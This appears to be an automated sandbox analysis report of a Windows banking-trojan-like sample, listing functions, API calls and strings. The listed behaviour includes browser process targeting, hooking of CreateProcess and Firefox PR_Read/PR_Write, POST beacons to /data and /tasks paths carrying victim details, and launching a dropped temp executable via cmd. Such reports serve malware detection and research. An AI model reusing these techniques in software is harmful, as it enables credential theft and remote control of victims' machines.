Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02254D47, Relevance: 36.4, APIs: 13, Strings: 5, Instructions: 193

APIs

wsprintfW.USER32 ref: 02254DC1
wsprintfW.USER32 ref: 02254E3A
lstrlenW.KERNEL32 ref: 02254E4A
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000000,00000000), ref: 02254E6C

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,?,00000000,00000000), ref: 02254E8B
wsprintfW.USER32 ref: 02254EB3

Part of subcall function 02254453: EnterCriticalSection.KERNEL32(04E6A010,00000001,00000000,?,02254C32,?,00010C54), ref: 02254462
Part of subcall function 02254453: lstrcpyW.KERNEL32(00010C54,Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)), ref: 0225447A
Part of subcall function 02254453: LeaveCriticalSection.KERNEL32(04E6A010,?,02254C32,?,00010C54), ref: 02254481

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 02254ED3
InternetConnectW.WININET(?,?,0225E142,00000000,00000000,00000003,00000000,00000000), ref: 02254EEC
HttpOpenRequestW.WININET(?,POST,?,00000000,00000000,00000000,00400000,00000000), ref: 02254F15
HttpSendRequestW.WININET(?,00000000,00000000,?,?), ref: 02254F2B
InternetCloseHandle.WININET(?), ref: 02254F3F
InternetCloseHandle.WININET(0225E142), ref: 02254F44
InternetCloseHandle.WININET ref: 02254F47

Strings

/data?version=%s&group=%s&client=%s&computer=%s&os=%d.%d&latency=%s&browser=%s&type=%d, xrefs: 02254E34
0227, xrefs: 02254E24
%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x, xrefs: 02254DB6
&crc=%x, xrefs: 02254E9B
POST, xrefs: 02254F0F

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225A13F, Relevance: 26.7, APIs: 9, Strings: 4, Instructions: 66

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0225A14D
GetCurrentProcessId.KERNEL32 ref: 0225A15F
Process32FirstW.KERNEL32 ref: 0225A179
lstrcmpiW.KERNEL32(?,explorer.exe), ref: 0225A19E
lstrcmpiW.KERNEL32(?,iexplore.exe), ref: 0225A1B0
lstrcmpiW.KERNEL32(?,chrome.exe), ref: 0225A1C2
lstrcmpiW.KERNEL32(?,firefox.exe), ref: 0225A1D4

Part of subcall function 02259EEA: LoadLibraryW.KERNEL32(kernel32.dll), ref: 02259F03
Part of subcall function 02259EEA: GetProcAddress.KERNEL32(?,IsWow64Process), ref: 02259F1E
Part of subcall function 02259EEA: GetCurrentProcess.KERNEL32 ref: 02259F2B
Part of subcall function 02259EEA: LoadLibraryW.KERNEL32(psapi.dll), ref: 02259F41
Part of subcall function 02259EEA: GetProcAddress.KERNEL32(?,EnumProcessModulesEx), ref: 02259F52
Part of subcall function 02259EEA: OpenProcess.KERNEL32(0000043A,00000000,?), ref: 02259F5D
Part of subcall function 02259EEA: GetProcessHeap.KERNEL32 ref: 02259F96
Part of subcall function 02259EEA: HeapAlloc.KERNEL32(?,00000000,00001000,?,IsWow64Process), ref: 02259FA9
Part of subcall function 02259EEA: EnumProcessModules.PSAPI(?,?,00001000,?,?,00000000,00001000,?,IsWow64Process), ref: 02259FBC
Part of subcall function 02259EEA: GetModuleFileNameExW.PSAPI(?,?,00000000,00000104), ref: 0225A001
Part of subcall function 02259EEA: lstrcmpiW.KERNEL32(?,client.dll), ref: 0225A03E
Part of subcall function 02259EEA: lstrcmpiW.KERNEL32(?,client64.dll), ref: 0225A04E
Part of subcall function 02259EEA: lstrcmpiW.KERNEL32(?,kernel32.dll), ref: 0225A064
Part of subcall function 02259EEA: lstrcpyW.KERNEL32(?,?), ref: 0225A090
Part of subcall function 02259EEA: lstrlenW.KERNEL32 ref: 0225A09D
Part of subcall function 02259EEA: lstrcatW.KERNEL32(?,client.dll), ref: 0225A0DE
Part of subcall function 02259EEA: HeapFree.KERNEL32(?,00000000,?,?,?,00001000,?,?,00000000,00001000,?,IsWow64Process), ref: 0225A10F
Part of subcall function 02259EEA: CloseHandle.KERNEL32(?), ref: 0225A118
Part of subcall function 02259EEA: FreeLibrary.KERNEL32(?), ref: 0225A130
Part of subcall function 02259EEA: FreeLibrary.KERNEL32(?), ref: 0225A135

Process32NextW.KERNEL32(?,?), ref: 0225A1F0
CloseHandle.KERNEL32 ref: 0225A1FC

Strings

chrome.exe, xrefs: 0225A1B6
firefox.exe, xrefs: 0225A1C8
iexplore.exe, xrefs: 0225A1A4
explorer.exe, xrefs: 0225A192

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022934D0, Relevance: 26.4, APIs: 11, Strings: 2, Instructions: 215

APIs

malloc.MSVCRT ref: 02293500
malloc.MSVCRT ref: 0229355B
deflateInit2_.ZLIB1(?,?,00000008,000000F1,00000008,?,1.2.3,00000038), ref: 0229360E

Part of subcall function 02291690: deflateReset.ZLIB1(?,?,?,?,?,?,?,?,?,?,?,?,?,1.2.3,00000038), ref: 02291889
Part of subcall function 02291690: deflateEnd.ZLIB1(?,?,?,?,?,?,?,?,?,?,?,?,?,1.2.3,00000038), ref: 022918A5

malloc.MSVCRT ref: 0229361A

Part of subcall function 022939B0: free.MSVCRT ref: 022939CD
Part of subcall function 022939B0: deflateEnd.ZLIB1(?,?,00000000,02293636), ref: 022939E1
Part of subcall function 022939B0: inflateEnd.ZLIB1(?,?,00000000,02293636), ref: 022939ED
Part of subcall function 022939B0: fclose.MSVCRT ref: 022939FF
Part of subcall function 022939B0: _errno.MSVCRT ref: 02293A0C
Part of subcall function 022939B0: free.MSVCRT ref: 02293A2B
Part of subcall function 022939B0: free.MSVCRT ref: 02293A38
Part of subcall function 022939B0: free.MSVCRT ref: 02293A45
Part of subcall function 022939B0: free.MSVCRT ref: 02293A4B

malloc.MSVCRT ref: 02293645
inflateInit2_.ZLIB1(?,000000F1,1.2.3,00000038), ref: 0229365A

Part of subcall function 02295570: inflateReset.ZLIB1(?,000000F1,1.2.3,00000038), ref: 0229560F

_errno.MSVCRT ref: 02293672
fopen.MSVCRT ref: 0229368C
_fdopen.MSVCRT ref: 02293695
fprintf.MSVCRT ref: 022936C2

Part of subcall function 02293850: _errno.MSVCRT ref: 02293869
Part of subcall function 02293850: fread.MSVCRT ref: 0229388B

ftell.MSVCRT ref: 022936E7

Strings

1.2.3, xrefs: 02293600, 0229364D
%c%c%c%c%c%c%c%c%c%c, xrefs: 022936BC

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 0225C3CC, Relevance: 24.3, APIs: 6, Strings: 6, Instructions: 59

APIs

GetModuleHandleW.KERNEL32(KERNEL32), ref: 0225C3DA
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 0225C3F5
GetProcAddress.KERNEL32(?,CreateProcessW), ref: 0225C415
GetModuleHandleW.KERNEL32(ADVAPI32), ref: 0225C434
GetProcAddress.KERNEL32(?,CreateProcessAsUserA), ref: 0225C442
GetProcAddress.KERNEL32(?,CreateProcessAsUserW), ref: 0225C462

Part of subcall function 022542B1: memset.NTDLL(?,00000000), ref: 022542E7
Part of subcall function 022542B1: GetCurrentProcess.KERNEL32 ref: 02254327
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000040,?), ref: 02254341
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000040,?), ref: 0225435B
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543C8
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543EB
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000000,?), ref: 022543FE
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 02254409
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000000,?), ref: 0225441B

Strings

CreateProcessA, xrefs: 0225C3EF
CreateProcessAsUserA, xrefs: 0225C43C
KERNEL32, xrefs: 0225C3D5
ADVAPI32, xrefs: 0225C42F
CreateProcessW, xrefs: 0225C40F
CreateProcessAsUserW, xrefs: 0225C45C

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225D0EF, Relevance: 22.5, APIs: 10, Strings: 1, Instructions: 314

APIs

Part of subcall function 0225A26C: GetCurrentProcessId.KERNEL32 ref: 0225A27E
Part of subcall function 0225A26C: OpenProcess.KERNEL32(00000400,00000000), ref: 0225A28B
Part of subcall function 0225A26C: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 0225A2A3
Part of subcall function 0225A26C: GetTokenInformation.ADVAPI32(00000001,00000001,00000000,00000000), ref: 0225A2C1
Part of subcall function 0225A26C: GetLastError.KERNEL32(?,?,00000008,?,?,?,00000001), ref: 0225A2C7
Part of subcall function 0225A26C: GetTokenInformation.ADVAPI32(00000001,00000001,?,?), ref: 0225A2EA
Part of subcall function 0225A26C: CloseHandle.KERNEL32(00000001), ref: 0225A31C
Part of subcall function 0225A26C: CloseHandle.KERNEL32(?), ref: 0225A325

wsprintfW.USER32 ref: 0225D16B
wsprintfW.USER32 ref: 0225D1B5
wsprintfW.USER32 ref: 0225D202
wsprintfW.USER32 ref: 0225D24F
wsprintfW.USER32 ref: 0225D29C
wsprintfW.USER32 ref: 0225D2E9
wsprintfW.USER32 ref: 0225D336
wsprintfW.USER32 ref: 0225D383
wsprintfW.USER32 ref: 0225D3D0
wsprintfW.USER32 ref: 0225D41D

Strings

%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x, xrefs: 0225D161, 0225D169, 0225D1B3, 0225D200, 0225D24D, 0225D29A, 0225D2E7, 0225D334, 0225D381, 0225D3CE, 0225D41B

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225D569, Relevance: 22.3, APIs: 6, Strings: 5, Instructions: 74

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,033B2A48,00000001), ref: 0225D586
lstrcmpiW.KERNEL32(00000000,rundll32.exe), ref: 0225D5D9
lstrcmpiW.KERNEL32(00000000,explorer.exe), ref: 0225D5ED
lstrcmpiW.KERNEL32(00000000,iexplore.exe), ref: 0225D601
lstrcmpiW.KERNEL32(00000000,chrome.exe), ref: 0225D615
lstrcmpiW.KERNEL32(00000000,firefox.exe), ref: 0225D629

Strings

chrome.exe, xrefs: 0225D60F
firefox.exe, xrefs: 0225D623
iexplore.exe, xrefs: 0225D5FB
rundll32.exe, xrefs: 0225D5D3
explorer.exe, xrefs: 0225D5E7

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225BD0D, Relevance: 20.2, APIs: 5, Strings: 5, Instructions: 50

APIs

GetModuleHandleW.KERNEL32(NSPR4), ref: 0225BD1D
GetModuleHandleW.KERNEL32(NSS3), ref: 0225BD2A
GetProcAddress.KERNEL32(?,PR_Read), ref: 0225BD3E
GetProcAddress.KERNEL32(?,PR_Write), ref: 0225BD5E
GetProcAddress.KERNEL32(?,PR_Close), ref: 0225BD7E

Part of subcall function 022542B1: memset.NTDLL(?,00000000), ref: 022542E7
Part of subcall function 022542B1: GetCurrentProcess.KERNEL32 ref: 02254327
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000040,?), ref: 02254341
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000040,?), ref: 0225435B
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543C8
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 022543EB
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,0000006C,00000000,?), ref: 022543FE
Part of subcall function 022542B1: FlushInstructionCache.KERNEL32(?), ref: 02254409
Part of subcall function 022542B1: VirtualProtectEx.KERNEL32(?,?,?,00000000,?), ref: 0225441B

Strings

PR_Close, xrefs: 0225BD78
NSS3, xrefs: 0225BD25
PR_Write, xrefs: 0225BD58
PR_Read, xrefs: 0225BD38
NSPR4, xrefs: 0225BD16

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225A742, Relevance: 19.6, APIs: 13, Instructions: 112

APIs

CreateFileMappingW.KERNEL32(000000FF,02287CB8,00000004,00000000,00100000,033B27F8), ref: 0225A769
GetLastError.KERNEL32 ref: 0225A77A
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00100000), ref: 0225A796
CreateEventW.KERNEL32(02287CB8,00000000,00000000,033B27A8), ref: 0225A7BB
CreateEventW.KERNEL32(02287CB8,00000000,00000000,033B2758), ref: 0225A7D6
SetEvent.KERNEL32 ref: 0225A7E6
CloseHandle.KERNEL32(?), ref: 0225A84B

Part of subcall function 0225E104: EnterCriticalSection.KERNEL32(00000000,?,?,00000000,?,?,0225E2BD,?,00000008,?,?,00000000,00000000,00000000,?), ref: 0225E14C
Part of subcall function 0225E104: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000,?,?,0225E2BD,?,00000008,?,?,00000000,00000000,00000000,?), ref: 0225E162

ResetEvent.KERNEL32(?), ref: 0225A828
SetEvent.KERNEL32(?), ref: 0225A831
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0225A83E
CloseHandle.KERNEL32(?), ref: 0225A854
UnmapViewOfFile.KERNEL32(?), ref: 0225A85D
CloseHandle.KERNEL32(?), ref: 0225A866

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225BDEB, Relevance: 19.6, APIs: 13, Instructions: 104

APIs

CreateFileMappingW.KERNEL32(000000FF,02287CB8,00000004,00000000,00100000,033B28E8), ref: 0225BE12
GetLastError.KERNEL32 ref: 0225BE23
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00100000), ref: 0225BE3F
CreateEventW.KERNEL32(02287CB8,00000000,00000000,033B2898), ref: 0225BE64
CreateEventW.KERNEL32(02287CB8,00000000,00000000,033B2848), ref: 0225BE7F
SetEvent.KERNEL32 ref: 0225BE8F
CloseHandle.KERNEL32(?), ref: 0225BEF2

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

ResetEvent.KERNEL32(?), ref: 0225BEC8
SetEvent.KERNEL32(?), ref: 0225BED1
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0225BEE5
CloseHandle.KERNEL32(?), ref: 0225BEFB
UnmapViewOfFile.KERNEL32(?), ref: 0225BF04
CloseHandle.KERNEL32(?), ref: 0225BF0D

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225BF57, Relevance: 17.9, APIs: 10, Instructions: 76

APIs

OpenFileMappingW.KERNEL32(00000006,00000000,033B28E8), ref: 0225BF71
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00100000), ref: 0225BF8F
OpenEventW.KERNEL32(001F0003,00000000,033B2898), ref: 0225BFBA
OpenEventW.KERNEL32(001F0003,00000000,033B2848), ref: 0225BFD0
WaitForSingleObject.KERNEL32(?,00000BB8), ref: 0225BFDE
SetEvent.KERNEL32(?), ref: 0225BFFE
CloseHandle.KERNEL32 ref: 0225C010
CloseHandle.KERNEL32(?), ref: 0225C019
UnmapViewOfFile.KERNEL32(?), ref: 0225C022
CloseHandle.KERNEL32(?), ref: 0225C02D

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225AFBB, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 151

APIs

InternetQueryOptionW.WININET(?,00000022,00000000), ref: 0225AFDB

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

InternetQueryOptionW.WININET(?,00000022), ref: 0225B00C
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0225B033
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,?,00000000,00000000), ref: 0225B04D

Part of subcall function 02253B2E: wsprintfA.USER32(?,%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x,?,?,?,?,?,?,?,?), ref: 02253BA9
Part of subcall function 02253B2E: wsprintfA.USER32(?,version=%s&group=%s&client=%s,0225FEA8,0227,?,?,?,?,?,?,?), ref: 02253BC5

HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 0225B080
lstrcmpiA.KERNEL32(?,POST,?,?,00000000,?,?,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0225B092
lstrlenW.KERNEL32(?), ref: 0225B0AE
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0225B0BF
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,?,00000000,00000000), ref: 0225B0D9

Strings

POST, xrefs: 0225B086

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225E2C6, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 143

APIs

wsprintfW.USER32 ref: 0225E34A
wsprintfW.USER32 ref: 0225E3A7
lstrlenW.KERNEL32 ref: 0225E3B3
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0225E3D4

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000004,?,?,00000000,00000000), ref: 0225E3F7
wsprintfW.USER32 ref: 0225E41F

Part of subcall function 0225E193: GetSystemTimeAsFileTime.KERNEL32 ref: 0225E1C8
Part of subcall function 0225E193: GetSystemTimeAsFileTime.KERNEL32 ref: 0225E1E2
Part of subcall function 0225E193: _alldiv.NTDLL ref: 0225E1F9
Part of subcall function 0225E193: EnterCriticalSection.KERNEL32(00000000,?,0225E43A,00002710,00000000,?,?,?,00000000,?,?,?,00010A66,00010DB2,00000000), ref: 0225E20C
Part of subcall function 0225E193: LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,00010A66,00010DB2,00000000,?,?,0225E43A,?,?), ref: 0225E225

Strings

0227, xrefs: 0225E391
/tasks?version=%s&group=%s&client=%s&computer=%s&os=%d.%d&latency=%s, xrefs: 0225E39B
%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x, xrefs: 0225E344
&crc=%x, xrefs: 0225E407

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225A51B, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 94

APIs

GetTempPathW.KERNEL32(00000104), ref: 0225A532
GetTempFileNameW.KERNEL32(?,0225F7AC,00000000), ref: 0225A54E
lstrcatW.KERNEL32(?,.exe), ref: 0225A598

Part of subcall function 02251F7B: DeleteFileW.KERNEL32(?), ref: 02251F84
Part of subcall function 02251F7B: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000), ref: 02251F9E
Part of subcall function 02251F7B: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02251FC1
Part of subcall function 02251F7B: CloseHandle.KERNEL32 ref: 02251FD1

wsprintfW.USER32 ref: 0225A5C8
memset.NTDLL(?,00000000), ref: 0225A5D7
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,0C000000,00000000,?,?,?), ref: 0225A60B
CloseHandle.KERNEL32(00000000), ref: 0225A61F
CloseHandle.KERNEL32(00000004), ref: 0225A624

Strings

cmd /C "%s", xrefs: 0225A5C2
